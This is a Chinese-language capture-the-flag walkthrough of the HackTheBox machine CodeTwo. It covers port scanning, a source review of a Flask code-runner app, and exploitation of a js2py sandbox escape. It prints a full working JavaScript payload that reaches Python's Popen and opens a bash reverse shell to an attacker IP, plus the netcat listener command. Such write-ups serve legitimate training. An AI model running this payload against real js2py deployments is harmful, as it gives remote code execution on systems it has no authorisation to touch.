HackTheBox: CodeTwo 解析
靶机:CodeTwo
操作系统:Linux
难度:简单
摘要
CodeTwo 是一台简单难度的 Linux 靶机,展示了真实场景中的 Web 应用程序漏洞。攻击链包括利用 js2py 库中的 JavaScript 沙箱逃逸漏洞(CVE-2024-28397)获取初始访问权限,然后通过凭据复用实现横向移动,并利用 sudo 配置错误获取权限提升。
端口扫描
我们首先使用 nmap 进行全面扫描以识别开放的服务:
nmap -sV -sC 10.129.127.141
结果:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
8000/tcp open http Gunicorn 20.0.4
扫描结果显示:
- SSH(22端口):标准的 OpenSSH 服务(若能找到凭据,可能成为入口点)
- HTTP(8000端口):Gunicorn Web 服务器(Python WSGI HTTP 服务)
初始访问
Web 应用枚举
访问 http://box-ip:8000,发现一个名为 “CodeTwo” 的 Web 应用,功能包括:
- 用户注册与认证
- 在线 JavaScript 代码编辑器
- 代码片段管理功能
注册并登录账号后:

该应用提供 JavaScript IDE,可供用户编写并执行代码:

源码分析
应用提供一个 app.zip 文件下载,解压后可看到 Flask 应用的源代码。在 app.py 中发现关键内容:
from flask import Flask, render_template, request, redirect, url_for, session, jsonify
import js2py
js2py.disable_pyimport()
app = Flask(__name__)
app.secret_key = 'S3cr3tK3yC0d3Tw0'
@app.route('/run_code', methods=['POST'])
def run_code():
try:
code = request.json.get('code')
result = js2py.eval_js(code)
return jsonify({'result': result})
except Exception as e:
return jsonify({'error': str(e)})
发现的关键漏洞:
- js2py 沙箱逃逸(CVE-2024-28397):应用使用
js2py.eval_js()执行用户提供的 JavaScript。虽然调用了js2py.disable_pyimport(),但该库在 ≤ 0.74 版本(Python ≤ 3.11)中仍存在沙箱逃逸漏洞。 - 弱密码哈希:使用 MD5 存储密码(易被破解)
- 暴露的 Flask Secret Key:源码中硬编码了 Flask 的 secret key
利用 CVE-2024-28397
CVE-2024-28397 是 js2py 沙箱逃逸漏洞,可使攻击者突破 JavaScript 执行环境并执行 Python 代码。漏洞原因是 js2py 未能正确隔离 JavaScript 对象与 Python 对象模型。
利用流程:
- JavaScript 对象在 js2py 中保留了对 Python 内部结构的引用
- 通过
Object.getOwnPropertyNames可访问 Python 的__getattribute__ - 利用
__class__.__base__遍历 Python 类层次结构 - 找到
subprocess.Popen类 - 使用 Popen 执行系统命令
漏洞利用 Payload:
// CVE-2024-28397 → js2py 沙箱逃逸 → Popen → 反弹 Shell
let cmd = "bash -c 'bash -i >& /dev/tcp/10.10.x.x/4444 0>&1'";
let hacked, bymarve, n11;
let getattr, obj;
// 第一步:通过 JS 对象访问 Python 内部属性
hacked = Object.getOwnPropertyNames({});
bymarve = hacked.__getattribute__;
n11 = bymarve("__getattribute__");
// 第二步:获取 Python 的基类对象
obj = n11("__class__").__base__;
getattr = obj.__getattribute__;
// 第三步:递归查找 Python 类层级中的 subprocess.Popen
function findpopen(o) {
let result;
for (let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if (item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
if (item.__name__ != "type" && (result = findpopen(item))) {
return result;
}
}
}
// 第四步:执行反弹 Shell 命令
findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
"OK";
执行前先在本地设置监听:
nc -lvnp 4444
在 Web 应用代码编辑器中执行该 Payload:

成功获得 app 用户的反弹 Shell:
